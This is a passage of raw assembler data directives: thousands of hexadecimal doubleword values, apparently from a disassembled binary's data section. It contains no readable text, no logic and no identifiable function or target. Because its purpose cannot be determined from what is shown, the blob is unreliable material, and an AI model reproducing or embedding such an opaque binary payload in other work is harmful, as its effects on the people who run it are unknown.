11328129h, 0B000073h, 8F170906h, 1BF916C9h, 16C98F56h dd 7D2D1FFh, 73228162h, 0E0B0000h, 7322h, 0E0Bh, 890Bh dd 28FF3A26h, 18DDFFADh, 39FF0354h, 0A037E39h, 58DDFF02h dd 0AE90705h, 0EECA0501h, 29090603h, 0FF05010Ah, 7397B239h dd 890B0000h, 3A260000h, 69E2h, 10040906h, 39C4FF0Dh, 6540584h dd 1107A721h, 0FF3A0301h, 2E00h, 705020Fh, 0D0D0740h, 0FF184615h dd 29BB29h, 0C4FF3407h, 0C5B086Dh, 0FF1F0C07h, 700B9D0h dd 0FF460805h, 3D518h, 25080507h, 25080C07h, 8E03407h dd 5418D1FFh, 9FFF5A07h, 0AD4E03DBh, 4050205h, 26C0502h dd 0FF05024Ah, 0FF07F229h, 2FFBBC4h, 120E03FAh, 4A020405h dd 29FF0502h, 0E0FF07EEh, 10371B2h, 0FFB0FF60h, 120E0376h dd 2BAB1505h, 5120E03h, 1044479Dh, 4B986FFh, 0FF4C8702h dd 0FF1F473Bh, 18005AC6h, 1D2B3A08h, 290E0000h, 18870204h dd 38FF0E03h, 708DFF82h, 3188717h, 0E938FF0Eh, 29D1DCFFh dd 18870204h, 3FE0E03h, 0C5FF0204h, 58DA9B52h, 2DC78E17h dd 52D0FF19h, 1DED0FFh, 0FFD3C7FFh, 18871770h, 81FF0E03h dd 52C5FFD0h, 16FB3298h, 87020429h, 0E40E0318h, 0DAA71316h dd 0C5FF1716h, 0D1C5FF52h, 0C5FFFD1Bh, 6482A52h, 0FF02043Bh dd 0CEFF52C5h, 8E174BF1h, 2DDEC5FFh, 7F3FF13h, 179BFC11h dd 0AA031887h, 0F1CEFF8Eh, 163830h, 5CDDFF07h, 0E0B001Ch dd 0B001C22h, 4600000Eh, 2F20FF01h, 60B0000h, 9, 2040316h dd 4E031887h, 2C19FFh, 2C19FFC3h, 10FF6E00h, 0FF6D9339h dd 8111h, 0FF3910FFh, 11FFDEC1h, 0FF000081h, 0C32A3910h dd 0B000045h, 18000906h, 1C1800h, 0FF07006Eh, 1C5CDDh dd 309060Bh, 8702040Dh, 0D0E0318h, 18870204h, 21060E03h dd 0DCB1BA7h, 2508150Dh, 85FF7207h, 6000028h, 7129FF09h dd 72070029h, 6004DA3h, 40D0309h, 3188702h, 2040D0Eh, 7841887h dd 45AC6FFh, 91DDFF19h, 0E0034A9h, 87020429h, 6D0E0318h dd 89FF3A16h, 0A2350066h, 5820FF2Ch, 6000050h, 501Eh, 39DCFF1Ah dd 5EFFAFFFh, 0E5010000h, 1696FF32h, 7CFF3Ah, 18010A00h dd 0FF1139FFh, 62A50076h, 52208FAh, 0E0373FFh, 0D1FFA300h dd 0FF7703D5h, 32FF39DCh, 10F0063h, 0FF000023h, 142DB3Ah dd 0FF000023h, 403D5D1h, 2301h, 0FF3910FFh, 57E58DBh, 10F009Fh dd 4200004Ch, 805A101h, 4C50D1FFh, 39FF0000h, 57503D2h dd 50D1FF08h, 0C00004Ch, 5A1018Ah, 5E21308h, 3054301h dd 811E0A15h, 22FF0000h, 543017Ah, 18E1C4FFh, 11000081h dd 7462h, 160000B7h, 0FFA11503h, 151FD1F6h, 7E050E03h dd 0FF9911FFh, 2653FC11h, 7E140000h, 50140005h, 1150000h dd 22081518h, 60B001Ch, 66013B09h, 97A039FFh, 2 dup(970B001Ch) dd 45001Ch, 204290Eh, 0A50D4C87h, 80A81562h, 9060000h dd 2040D03h, 0E031887h, 7207000Dh, 0E03AB71h, 0C5FF0204h dd 191BA752h, 938E0204h, 0EBFF132Dh, 8E5ADEFFh, 91D9FFh dd 0DD3AFF00h, 0A68E0204h, 342Ah, 342A14h, 0EA39FF0Dh dd 290E004Dh, 18870204h, 6EFF0E03h, 18004603h, 60B0049h dd 45004909h, 4500491Fh, 0D290E00h, 341839FFh, 49090600h dd 0E0B0B00h, 0FF18010Ah, 5F39h, 5CC4FFA5h, 450049h, 0FF0D180Eh dd 39C3739h, 495E0Eh, 290E0045h, 18870204h, 68150E03h dd 290E0095h, 18870204h, 5FFF0E03h, 0C5FF1703h, 11079B52h dd 3D686FFh, 8702040Dh, 0E0318h, 3D1E0600h, 294B0024h dd 243D0104h, 451900h, 240906h, 0E0B196Eh, 10A2978h, 4500245Eh dd 3090600h, 8702040Dh, 40E0318h, 52C5FF02h, 0FF1107A7h dd 0D03D762h, 11720700h, 2040E03h, 91D9FF8Eh, 62FF3A08h dd 0D031F5Ah, 18870204h, 16300E03h, 3B062A17h, 42A0204h dd 0DEC1FF19h, 54D0FF19h, 0D780FF11h, 19042A17h, 19DEC1FFh dd 0A352D0FFh, 354DEFFh, 42A0204h, 2 dup(91C1FF19h), 0E03h dd 243C1400h, 2A020400h, 0C1FF1904h, 241F91h, 243C1400h dd 2A020400h, 0C1FF1904h, 3B061F91h, 2A0204h, 0C2190418h dd 3C0A0024h, 0BD0D9FFh, 19042A0Eh, 300024C2h, 204166Ch dd 0FF19042Ah, 0FF19DEC1h, 0FF3254D0h, 0A03D163h, 346401h dd 0C1FF1945h, 9060091h, 39060034h, 19130034h, 194B0034h dd 6530034h, 1BF129FFh, 5ADEFF40h, 19003419h, 3419010Fh dd 303AFF00h, 34191400h, 87020400h, 0A290818h, 343C01h dd 3409060Bh, 34970B00h, 814500h, 340906h, 1660104h, 0FF003419h dd 3BDA638h, 1BA72106h, 0FF02047Ch, 1BA752C5h, 0C5FF0223h dd 621B9B52h, 7250873h, 5FF6FF72h, 1A1E111Fh, 0DDFF8E17h dd 2A560891h, 0DDFF1904h, 0DDFF0891h, 870204B9h, 40E0318h dd 2DC78E02h, 1801B713h, 6901h, 0FF03B100h, 204C23Ah, 3918A68Eh dd 2E000000h, 4B987FFh, 3188702h, 8E02040Eh, 0B7132DC7h dd 69011801h, 0B1000000h, 0C73AFF03h, 0A68E0204h, 690118h dd 3160000h, 0D5D43AFFh, 6913B1h, 0D2FF0000h, 31D01DEh dd 0DDFF8E17h, 2A560891h, 0DDFF1904h, 0DDFF0891h, 5052h dd 50882Eh, 10F1900h, 4000050h, 5001h, 0C5FF1204h, 34484452h dd 0A4DEFF00h, 12040000h, 0FF50002Ah, 10F1539h, 4003471h dd 5001h, 448E1204h, 34710A04h, 65C5300h, 7D029FFh, 345AC6FFh dd 8E120400h, 710A0444h, 3C8C0034h, 3AD0FF5Ch, 40000B3h dd 0FF508712h, 10FA639h, 400004Ch, 5001h, 448E1204h, 4C0A04h dd 65C5300h, 7D029FFh, 50014Ch, 8E120400h, 4C0A0444h, 6C300000h dd 501700h, 2A120400h, 0A041A04h, 3000004Ch, 112E006Ch dd 7Ch, 1814000Dh, 0E039CFBh, 0DDFF0204h, 0ABFF1858h, 9060B15h dd 393B5B04h, 17000000h, 514C002Ah, 630020Fh, 0D2FF3021h dd 23B01A2h, 6005330h, 7F129FFh, 305AD8FFh, 30020F3Dh dd 8E3AFFh, 94D2FF00h, 0F129FF06h, 9ACEFF07h, 23B0104h dd 61D5330h, 7FC29FFh, 0FF0000B9h, 0FF0694D2h, 1BAB29h dd 3160000h, 23B0104h, 8C005330h, 0D0FF113Ch, 0FF06305Ah dd 20FD239h, 0D33AFF30h, 0FFD43AFFh, 1B1EA838h, 7A000000h dd 0D119FF32h, 34390603h, 63882E00h, 0F190034h, 346301h dd 34631E06h, 0DEC1FF00h, 1040339h, 4003463h, 64062A12h dd 3B174B44h, 0A043002h, 4003463h, 0B9C984FFh, 1B1E06h dd 34480000h, 344800h, 1B871204h, 1F0544h, 84FF0400h, 765E04C9h dd 390605h, 63170000h, 12040034h, 301A042Ah, 17F1CEFFh dd 4003463h, 30448E12h, 17F1CEFFh, 4003463h, 38062A12h dd 34631744h, 0FF120400h, 0BA4452C5h, 8, 8702040Dh, 40E0318h dd 0FF062A02h, 286EDD11h, 0 dd 0FF071814h, 9722EC1h, 2040309h, 9852C5FFh, 34390C11h dd 2042900h, 0E031887h, 3438018Ch, 38D0FF00h, 8717037Eh dd 0ED3A0818h, 2E10FFh, 34600Eh, 3E3AD0FFh, 88FF0318h dd 0B0FF1A52h, 3188702h, 2DC78EAAh, 2ED0FF3Ch, 0F429FF06h dd 2040207h, 0AA031887h, 51DDFF8Eh, 3A2ED0FFh, 3FFBCFFh dd 0CF0FB2BBh, 34F1CEFFh, 87020400h, 88FF0318h, 0CEFF01EAh dd 690034F1h, 38018C2Fh, 0D0FF0034h, 38016DDEh, 60010034h dd 0C111FF06h, 286Eh, 18140000h, 2EC1FF07h, 12FF1E72h dd 906002Eh, 4569FF47h, 52060301h, 6146h, 3B010A28h, 0FF5A0700h dd 6004331h, 14250809h, 6190h, 0FC839FFh, 11420E03h, 2E903BFFh dd 697C062Fh, 0FF903BFFh, 0D8FF3F69h, 619052h, 294B00h dd 619014h, 839FF00h, 0D0E0327h, 61901400h, 39FF0000h dd 0E032712h, 3D13BFFh, 0DA091E06h, 19FF1303h, 7A00003Fh dd 0D101FF01h, 9010403h, 0EBFF132Dh, 17032D01h, 0FF192D09h dd 0FFA352D0h, 40354DEh, 192D0901h, 3254D3FFh, 91703B8h dd 32A50B19h, 170353FFh, 19196E09h, 0E0Bh, 1181400h, 0E0B09h dd 18140000h, 0E0B0901h, 0BB0000h, 46823000h, 28000061h dd 61301400h, 14000000h, 0ED57FF09h, 9060000h, 0FF142508h dd 57FF3F69h, 37E0E03h, 3AFFA013h, 0A00104DCh, 1A0010Fh dd 0FF0164A0h, 7030AC1h, 1540h, 0C1FF5000h, 0D3FF3A0Ah dd 0A0AA03CFh, 0AC1FF50h, 3F69FF17h, 7B39FFh, 61600E00h dd 50000000h, 3A0AC1FFh, 3E3AFFFh, 21688FFh, 0C93AFF05h dd 50A00104h, 3A0AC1FFh, 0A403B3FFh, 0FCh, 50242D6h, 3906h dd 6801D700h, 16000061h, 0DC3AFF03h, 61680104h, 0F190000h dd 616801h, 681E4400h, 30000061h, 10A7A03h, 69FF1703h dd 61683Fh, 0FF065300h, 2A07F029h, 33B0142h, 616817h, 0FF743000h dd 0AAh, 0FD073B13h, 683F69FFh, 4000061h, 61680Ah, 0FFC67600h dd 0FF01AADCh, 61683F69h, 0A040000h, 6168h, 0DCFFC676h dd 6126h, 69FF0104h, 61683Fh, 78015300h, 30000000h, 73FCF752h dd 61220000h, 0A280000h, 3F29FF01h, 280000h, 6000507h dd 0A6100409h, 0C15F0205h, 0FF405D2Dh, 80922EC6h, 4E0000EDh dd 7405h, 9D06FFF4h, 5280FF47h, 2042F2Eh, 5214405h, 0FF813075h dd 5206903Bh, 2042F2Eh, 5210605h, 70FF0502h, 55BD1FFh dd 0CEFF2E08h, 6479D0Fh, 0B839FF10h, 750C020Fh, 5206036Ch dd 0DA158313h, 4051716h, 4CBB502h, 0C1024A02h, 306D7A2Dh dd 903BFF30h, 12BC1204h, 16D21105h, 0F302B517h, 24A0C02h dd 6D7A2DC1h, 3BFF3030h, 0BC120490h, 0BCE60512h, 0FF110502h dd 204030Ch, 0B5020405h, 4A0204CBh, 7A2DC102h, 0FF30306Dh dd 1204903Bh, 110512BCh, 4037BFFh, 0F302B502h, 24A0C02h dd 6D7A2DC1h, 3BFF3030h, 0BC120490h, 0BCE60512h, 18400502h dd 5505020Fh, 24A0204h, 6D7A2DC1h, 3BFF3030h, 0BC120490h dd 19400512h, 2B50204h, 4A0C02F3h, 172DC102h, 270512BCh dd 903BFF30h, 4094D2FFh, 7BB556h, 5020400h, 13521004h dd 17520683h, 6DC1024Ah, 0FF10D1FFh, 1204D329h, 80C12BCh dd 0C0204C6h, 24A0204h, 0D1FF2DC1h, 0D531FF10h, 0E131FF06h dd 0F050227h, 2F35F02h, 0FFA4C1FFh, 12BC5AD0h, 4C6080Ch dd 38FF0C02h, 6D7A0317h, 0C1120502h, 10D8FF6Dh, 6D528FFh dd 8BDE30FFh, 12BC1204h, 4C6080Ch, 2040C02h, 2DC1024Ah dd 0FF10D1FFh, 0FF06D331h, 227ED31h, 5F020F05h, 0C1FF02F3h dd 5AD0FFA4h, 80C12BCh, 0C0204C6h, 48F3AFFh, 0C1124A12h dd 10D8FF6Dh, 8BD728FFh, 12BC1204h, 4C6080Ch, 2040C02h dd 6DC1024Ah, 4EEFF13h, 0C12BC12h, 204C608h, 0B502040Ch dd 0FF02F302h, 0A4C1h, 2BC0204h, 100C020Ch, 0FF4CFF5Ah dd 0AD4E03AFh, 4050205h, 4B40502h, 5024A02h, 0FF30306Dh dd 0FF40903Bh, 24A5A0Ah, 9029FF05h, 0D23AFF35h, 10064715h dd 0FF7B020Ah, 1F1AF339h, 60B7F07h, 0AE1F4509h, 3D9FF76h dd 195910FFh, 80079BFFh, 48F8EFFh, 0D9FF0710h, 0E218FFE2h dd 15B11FFh, 3EA518FFh, 0AE30FF06h, 325BDEFFh, 0D211FFAEh dd 3AFF97FFh, 82FF540Dh, 4E39FF87h, 5907B603h, 60B7F07h dd 0AE1F4509h, 0FF88C1FFh, 7BFFD0DDh, 8F8EFF80h, 2F2E1004h dd 4050204h, 0DC0A0502h, 24A1703h, 4A120405h, 2C050512h dd 0FF5A28FFh, 0B81ADEC1h, 4A020415h, 0D1FF0502h, 12041AFBh dd 505124Ah, 5A28FF2Ch, 1ADEC1FFh, 124ACD2Ch, 4A020405h dd 0DDFF0502h, 88C1FF48h, 24A0204h, 4A120405h, 24A0512h dd 4A120405h, 512h, 0FF479D00h, 2F2E5280h, 4050204h, 0DC0A0502h dd 24A1703h, 4A120405h, 0DDFF0512h, 88C1FF48h, 24A0204h dd 4A120405h, 2C050512h, 0FF5A28FFh, 2C1ADEC1h, 5124ACDh dd 24A0204h, 0FF2C0505h, 0C1FF5A28h, 15B81ADEh, 24A0204h dd 41AF905h, 5124A12h, 405024Ah, 5124A12h, 9D000000h, 7000D47h dd 445A0759h, 600001Dh, 25100409h, 5A075907h, 0CECEFFh dd 9060000h, 7591004h, 0FF1A8F31h, 0AAFF3339h, 3090603h dd 0FF05020Fh, 20FD511h, 4D6838Fh, 0F302B502h, 0ACDDFF02h dd 5B29FF02h, 1294D3FFh, 45929FFh, 0FF024A02h, 5BE5B29h dd 5929FF12h, 0FC39FF15h, 0E03AFFFh, 5020502h, 2F99DDFFh dd 29FF0204h, 1B342199h, 4A020419h, 5B29FF02h, 1294D3FFh dd 45929FFh, 0FF024A02h, 5BE5B29h, 5929FF12h, 639FF15h dd 20E0321h, 31050205h, 0DDFF0205h, 2541A52h, 5020F31h dd 6ED539FFh, 6032126h, 39FF0609h, 0FF020FD5h, 0D68352DDh dd 2B50204h, 0DDFF02F3h, 5B002ACh, 2041F05h, 29FF024Ah dd 1205BE5Bh, 45929FFh, 0FF024A02h, 2B45B29h, 29FF1205h dd 603AFF59h, 99DDFF02h, 0FF02042Fh, 34219929h, 204191Bh dd 5050205h, 4A02041Fh, 5B29FF02h, 0FF1205BEh, 2045929h dd 29FF024Ah, 502B45Bh, 5929FF12h, 2623AFFh, 5418DDFFh dd 0D0D1FF42h, 0FF02F2FFh, 0D9FF02B6h, 0C81A1916h, 0FF020473h dd 0FF1916D9h, 0FF412FD9h, 0FF1916D9h, 8F02A7DDh, 0FF8F0298h dd 8CFFD1C5h, 80FF4712h, 58C1FF80h, 0AC20204h, 0A612041Ah dd 0FF1904C2h, 3105EAC1h, 891C5FFh, 10C1FF8Eh, 311204E3h dd 0E6D2C5FFh, 0FF058EA6h, 20FEE31h, 120D1B05h, 20F2A7Fh dd 5BB29FFh, 0EAC1FF02h, 2EC1FF05h, 3E920759h, 7000309h dd 0FF920705h, 8F56A88Dh, 1F16262Ah, 294D2FFh, 5FAC1FFh dd 91C1FF21h, 2A8F5607h, 9060Bh, 160A5A07h, 236061Fh, 0F52C1FFh dd 3AC1FF02h, 0C1FF0700h, 2A8F562Eh, 409060Bh, 0C1FF5610h dd 52D2FF10h, 20FEEFFh, 0DDFF5F5Fh, 20F2A5Ch, 502F705h dd 0FFADB015h, 1575D929h, 36339FFh, 0FF060906h, 1626C911h dd 0DDFF171Fh, 60B2A52h, 0FFAD0209h, 130581D9h, 6BBDDFFh dd 6EC111FFh, 609060Bh, 26C911FFh, 59071F03h, 0C5FF5A07h dd 90603D1h, 4C720725h, 4090603h, 0C22E0510h, 5020F19h dd 0FD511FFh, 2F35F02h, 12A2C1FFh, 7C4456h, 124A1703h dd 45929FFh, 0FF1A0502h, 0D9FF3910h, 170300F4h, 29FF124Ah dd 5AD0FF59h, 10FF1A05h, 0F4C1FF39h, 124A1703h, 0FF5929FFh dd 1A055AD3h dd 2A3910FFh, 1703007Ch, 29FF124Ah, 3AD2FF59h, 479D53FFh dd 0FF071006h, 60B5CDDh, 55B0409h, 5F021A19h, 190CA631h dd 6758DDFFh, 2F229FFh, 0FF12BF0Ch, 2C0DA21h, 512046Bh dd 0F06FF74h, 31FF0502h, 51204D6h, 0B0020591h, 55F0205h dd 1204680Ch, 0FF5C21FFh, 39FF6687h, 0FF9E6758h, 1204DD31h dd 0C538FF9Eh, 67020F8Bh, 20502F1h, 2F221FFh, 0FF12BF05h dd 2C0DA29h, 0FF5A69FFh, 0FF0CA10Ah, 1204C031h, 20C910Ch dd 67020CCEh, 490050Ch, 0FF61F212h, 5F911E1Fh, 0C731FF96h dd 0FF961204h, 0F8BDB38h, 2E85F02h, 29FF020Ch, 0BF0C02F2h dd 0DA21FF12h, 11FF02C0h, 0DEFF055Ah, 50204ADh, 5910512h dd 205B002h, 90C055Fh, 0FBD0FF32h, 0FF56FF8Ch, 67020F96h dd 0DD31FF9Eh, 0FF9E1204h, 0F8BC538h, 2F16702h, 21FF0205h dd 0BF0502F2h, 0DA29FF12h, 0CE602C0h, 0F4C97FFh, 31FF0C02h dd 0C1204C0h, 0CE020C91h, 0C67020Ch, 0FF324F05h, 0FFCFD0D0h dd 5F021C97h, 0C731FF96h, 0FF961204h, 0F8BDB38h, 2E85F02h dd 29FF020Ch, 0BF0C02F2h, 0DA21FF12h, 5CD02C0h, 2B330A1h dd 91051205h, 5B00205h, 0C055F02h, 0D0FF3251h, 0F043C7Eh dd 0FF9E6702h, 1204DD31h, 0C538FF9Eh, 67020F8Bh, 20502F1h dd 2F221FFh, 0FF12BF05h, 2C0DA29h, 0C5A09FFh, 2E8AFFh dd 0FF0C020Fh, 1204C031h, 20C910Ch, 67020CCEh, 3241050Ch dd 0FF6FD0FFh, 5F02588Dh, 0C731FF96h, 0FF961204h, 0F8BDB38h dd 2E85F02h, 29FF020Ch, 0BF0C02F2h, 0DA21FF12h, 31FF02C0h dd 0C0FF055Ah, 0FF050241h, 1204D631h, 2059105h, 5F0205B0h dd 32200C05h, 0A142D0FFh, 9E67021Ch, 4DD31FFh, 38FF9E12h dd 20F8BC5h, 502F167h, 0F221FF02h, 12BF0502h, 0C0DA29FFh dd 5A39FF02h, 0A8FFFB0Ch, 0FF0C020Fh, 1204C031h, 20C910Ch dd 67020CCEh, 3210050Ch, 0FFF0D0FFh, 20F65D9h, 31FF965Fh dd 961204C7h, 8BDB38FFh, 0E85F020Fh, 0FF020C02h, 5F02F221h dd 0BF2621FFh, 4680C12h, 0CB7C0512h, 5020F80h, 4D431FFh dd 5910512h, 205B002h, 0FF12BF05h, 2C0DA29h, 5C21FFE6h dd 9162FF19h, 0FF9E0204h, 1204D831h, 0C638FF9Eh, 67020F8Bh dd 20502F1h, 2F229FFh, 2629FF67h, 410512BFh, 80D0FF32h dd 31FF0C02h, 0C1204DFh, 0CE020C91h, 0BF0C020Ch, 0DA21FF12h dd 46B02C0h, 7BFFF212h, 5838FF6Dh, 31FF965Fh, 961204C5h dd 8BDD38FFh, 0E85F020Fh, 0FF020C02h, 5F02F221h, 0BF2621FFh dd 32090C12h, 58CD0FFh, 4D431FFh, 5910512h, 205B002h, 0FF12BF05h dd 2C0DA29h, 0FF5A09FFh, 82FF5C21h, 58D3FFC5h, 31FF9E67h dd 9E1204D8h, 8BC638FFh, 0F167020Fh, 0FF020502h, 6702F229h dd 0BF2629FFh, 32100512h, 0FF50D0FFh, 0C020F70h, 4DF31FFh dd 0C910C12h, 20CCE02h, 0FF12BF0Ch, 2C0DA21h, 0F25A11FFh dd 0FF2A19FFh, 20F3602h, 31FF965Fh, 961204C5h, 8BDD38FFh dd 0E85F020Fh, 0FF020C02h, 5F02F221h, 0BF2621FFh, 32510C12h dd 0EA37D0FFh, 5020FC9h, 4D431FFh, 5910512h, 205B002h dd 0FF12BF05h, 2C0DA29h, 0FF5A39FFh, 7FF5C21h, 0FE6FF2Fh dd 0FF9E6702h, 1204D831h, 0C638FF9Eh, 67020F8Bh, 20502F1h dd 2F229FFh, 2629FF67h, 900512BFh, 0FF0C1204h, 0C0204DCh dd 0C910C12h, 20CCE02h, 0FF12BF0Ch, 2C0DA21h, 0FFBDF2CDh dd 0FF96948Bh, 1204C531h, 0DD38FF96h, 5F020F8Bh, 20C02E8h dd 2F221FFh, 2621FF5Fh, 200C12BFh, 0D4D0FF32h, 0FF3238FFh dd 0FF050278h, 1204D431h, 2059105h, 50205B0h, 29FF12BFh dd 0FF02C0DAh, 29FF5A69h, 9E020572h, 4D831FFh, 38FF9E12h dd 20F8BC6h, 502F167h, 0F229FF02h, 29FF6702h, 512BF26h dd 0D0FF324Fh, 0BED3FF08h, 120C0204h, 20C910Ch, 0C020CCEh dd 21FF12BFh, 0FF02C0DAh, 76F25A31h, 0F0AB45Eh, 0FF965F02h dd 1204C531h, 0DD38FF96h, 5F020F8Bh, 20C02E8h, 2E229FFh dd 3209020Ch, 293D0FFh, 0D531FF05h, 91051204h, 5B00205h dd 0E229FF02h, 0FF120C02h, 80445C21h, 9E020484h, 4DA31FFh dd 38FF9E12h, 20F8BC4h, 502F167h, 0E221FF02h, 41020502h dd 0F3D0FF32h, 0BCFFB0FFh, 0C120C02h, 0CE020C91h, 21FF020Ch dd 120502E2h, 0E9DDFFF2h, 20F34FFh, 31FF965Fh, 961204C6h dd 8BD838FFh, 0E85F020Fh, 0FF020C02h, 0C02E229h, 12046802h dd 6F3BFF05h, 0FF05020Fh, 1204D531h, 2059105h, 0FF0205B0h dd 0C02E229h, 5C21FF12h, 0FFF78FFh, 9E67589Ah, 4DA31FFh dd 38FF9E12h, 20F8BC4h, 502F167h, 0E221FF02h, 4F020502h dd 81D0FF32h, 31FF0C02h, 0C1204C1h, 0CE020C91h, 21FF020Ch dd 120502E2h, 5F0218F2h, 0C631FF96h, 0FF961204h, 0F8BD838h dd 2E85F02h, 29FF020Ch, 20C02E2h, 0D0FF3220h, 0D0AFFF17h dd 5020F63h, 4D531FFh, 5910512h, 205B002h, 2E229FFh, 21FF120Ch dd 0F62BFF5Ch, 20F70FFh, 31FF9E67h, 9E1204DAh, 8BC438FFh dd 0F167020Fh, 0FF020502h, 502E221h, 12049002h, 2514C0Ch dd 910C120Ch, 0CCE020Ch, 0E221FF02h, 0F2120502h, 21A2711h dd 31FF965Fh, 961204C6h, 8BD838FFh, 0E85F020Fh, 0FF020C02h dd 0C02E229h, 0FF325102h, 1FFE8D0h, 5020405h, 5910512h dd 205B002h, 2E229FFh, 21FF120Ch, 0FF34FF5Ch, 20F370Ah dd 31FF9E67h, 9E1204DAh, 8BC438FFh, 0F167020Fh, 0FF020502h dd 502E221h, 0FF321002h, 0FF6929D0h, 0C020F73h, 4C131FFh dd 0C910C12h, 20CCE02h, 2E221FFh, 52F21205h, 5F020F9Fh dd 0C631FF96h, 0FF961204h, 0F8BD838h, 2E85F02h, 21FF020Ch dd 29FFCD26h, 6B0CE6DAh, 0FF051204h, 20CE4F3h, 91051205h dd 5B00205h, 29FF05CDh, 4F02C0E2h, 46D0FF32h, 20FFBB4h dd 31FF9E67h, 9E1204DBh, 8BC738FFh, 0F167020Fh, 0FF020502h dd 0FFCD2629h, 5E6DA21h, 0C5A39FFh, 0C87EF2FFh, 31FF0C02h dd 0C1204DEh, 0CE020C91h, 0FF0CCD0Ch, 2C0E221h, 0D0FF3209h dd 20581E8h, 0C431FF96h, 0FF961204h, 0F8BDA38h, 2E85F02h dd 21FF020Ch, 29FFCD26h, 0FF0CE6DAh, 0FF055A31h, 2048A88h dd 91051205h, 5B00205h, 29FF05CDh, 9002C0E2h, 21FF1204h dd 674FAB5Ch, 0DB31FF9Eh, 0FF9E1204h, 0F8BC738h, 2F16702h dd 29FF0205h, 21FFCD26h, 0FF05E6DAh, 0C0C5A09h, 0DE31FF0Ch dd 910C1204h, 0CCE020Ch, 21FF0CCDh, 6802C0E2h, 0FFF21204h dd 2048C00h, 0C431FF96h, 0FF961204h, 0F8BDA38h, 2E85F02h dd 21FF020Ch, 29FFCD26h, 0CD0CE6DAh, 7BAFFF05h, 0FF05020Fh dd 1204D731h, 2059105h, 5CD05B0h, 0C0E229FFh, 0FF321002h dd 71EB31D0h, 67020F1Dh, 0DB31FF9Eh, 0FF9E1204h, 0F8BC738h dd 2F16702h, 29FF0205h, 21FFCD26h, 0E605E6DAh, 0D0FFFB0Ch dd 0FF0C0272h, 1204DE31h, 20C910Ch, 0CCD0CCEh, 0C0E221FFh dd 0FF322002h, 0D9FF70D0h, 0FF96029Fh, 1204C431h, 0DA38FF96h dd 5F020F8Bh, 20C02E8h, 0CD2621FFh, 0E6DA29FFh, 5A11FF0Ch dd 0FFAFFF05h, 5022682h, 4D731FFh, 5910512h, 0CD05B002h dd 0E229FF05h, 324102C0h, 0FFE4D0FFh, 0F1EEB23h, 0FF9E6702h dd 1204DB31h, 0C738FF9Eh, 67020F8Bh, 20502F1h, 0CD2629FFh dd 0E6DA21FFh, 5A69FF05h, 6FF6AFFh, 0C020FB4h, 4DE31FFh dd 0C910C12h, 0CD0CCE02h, 0E221FF0Ch, 325102C0h, 0FF40D0FFh dd 583AFF57h, 31FF965Fh, 961204C4h, 8BDA38FFh, 0E85F020Fh dd 31020C02h, 0FF94D2FFh, 1A315AD0h, 1AA65F02h, 24A3102h dd 3131080Ch, 0A66702BCh, 5418DDFFh, 0FF831352h, 204C13Ah dd 0AD020405h, 0F35F021Ah, 0A2C1FF02h, 176DC102h, 6DC112BCh dd 10D0FFA8h, 8BD930FFh, 12BC1204h, 0FFA86DC1h, 30FF10D3h dd 12048BC1h, 6DC112BCh, 10D2FFA8h, 8BC930FFh, 1A051204h dd 54763AFFh, 21D1FF05h, 29262215h, 0C4FF0015h, 7AE18F1h dd 15290805h, 0F1C4FF00h, 507AE18h, 0FF004608h, 4718CDC4h dd 118280FFh, 0AE11D9AEh, 0D9AE11D9h, 11D9AE11h, 0AE11D9AEh dd 0D9AE11D9h, 0F03AE11h, 11D90502h, 11AE11AEh, 0FFAE11AEh dd 0E3D9211Ah, 18FFAE68h, 0DCFFD921h, 0D1FF0861h, 21BFFD2h dd 0D9211BFFh, 87DC4FFh, 0FF02D1FFh, 19FFD211h, 0D21AFF02h dd 0FF021AFFh, 0C0FF5018h, 2D1FFD3h, 0FFD213FFh, 0FFD9211Bh dd 0FF0869C4h, 0FFD921D1h, 0FF0865DCh, 0E3D921D1h, 0AE11AE6Bh dd 82FF479Dh, 39FF0087h, 0AE11D98Eh, 0D9FF122Bh, 9003FFE2h dd 5494D2FFh, 1D3A39FFh, 39FF0000h, 0FFB6FFE3h, 11D921D1h dd 128CFFAEh, 8782FF47h, 0C439FF00h, 0D1FFB6FFh, 0AE11D921h dd 8F8EFF03h, 9F1004h, 2239FF00h, 21D1FFD1h, 3AE11D9h dd 48F8EFFh, 1D7610h, 39FF00h, 21D1FFD1h, 0FFAE11D9h, 10048F8Eh dd 7705A64Bh, 0B339FFCBh, 2050512h, 0D539FF05h, 0DDFF020Fh dd 8F02413Ah, 0FFD2779Bh, 0FF12A639h, 20459D9h, 291D9FFh dd 0FF99DDFFh, 21541831h, 851A079Bh, 2A210612h, 2A024Bh dd 7002A07h, 1D1FFF72h, 20E0000h, 0FF7705B0h, 870700F3h dd 39C1FF07h, 0E00001Dh, 0FF5AD0FFh, 50291D9h, 4093AFFh dd 1829FF02h, 8782FF54h, 7F39FFh, 5907B600h, 60B7F07h dd 0E004509h, 30151708h, 7BD1FF03h, 8F8EFF2Ch, 6C31004h dd 6AE29FFh, 42F2E52h, 2040502h, 6005024Ah, 20415B8h, 8505024Ah dd 124A1708h, 0FF479D05h, 6C35A80h, 6AE29FFh, 42F2E52h dd 2040502h, 6005024Ah, 20415B8h, 8505024Ah, 124A1708h dd 0FF479D05h, 815A969h, 185C17h, 3090600h, 185C0204h dd 0FF0E0000h, 461A1B38h, 9C010A03h, 185C0220h, 2040D3Eh dd 1611185Ch, 7D038C7Dh, 0D113FF6Bh, 10A0D03h, 0B0000E1h dd 0E2050906h, 3821105h, 88053906h, 9C01059Ch, 3059C05h dd 0FF15D221h, 0A042D0Bh, 0DCFF059Ch, 0FF000045h, 0DBFF1C3Ah dd 30010AB9h, 60B001Ch, 7921FF09h, 0B001C22h, 39FF0906h dd 1C2279h, 1009060Bh, 1C8C01h, 2009060Bh, 2C1BFF01h, 9060B00h dd 1C227B7Eh, 9060B00h, 0E2012B03h, 20390505h, 1040D2Ah dd 0C112027h, 2A200918h, 2027010Fh, 2701040Dh, 3C0C1120h dd 5613B2FFh, 0F3C2027h, 15202701h, 350C1120h, 20090603h dd 0FF1CEFFh, 0D202701h, 20270104h, 0FF730C11h, 275613B3h dd 27011A20h, 1040D20h, 0C112027h, 56B312FFh, 11A2027h dd 40D2027h, 11202701h, 0B3FFDC0Ch, 20275613h, 2027011Ah dd 2701040Dh, 0DE0C1120h, 11A2009h, 20152027h, 8BFF0C11h dd 202756B3h, 275889FFh, 1040D20h, 0C112027h, 20B3C7FFh dd 27010F70h, 11201520h, 603110Ch, 27A62009h, 1040D20h dd 0C112027h, 56B010FFh, 11A2027h, 20152027h, 0FF6B0C11h dd 275613B0h, 27011A20h, 1040D20h, 0C112027h, 702009A0h dd 2027010Fh, 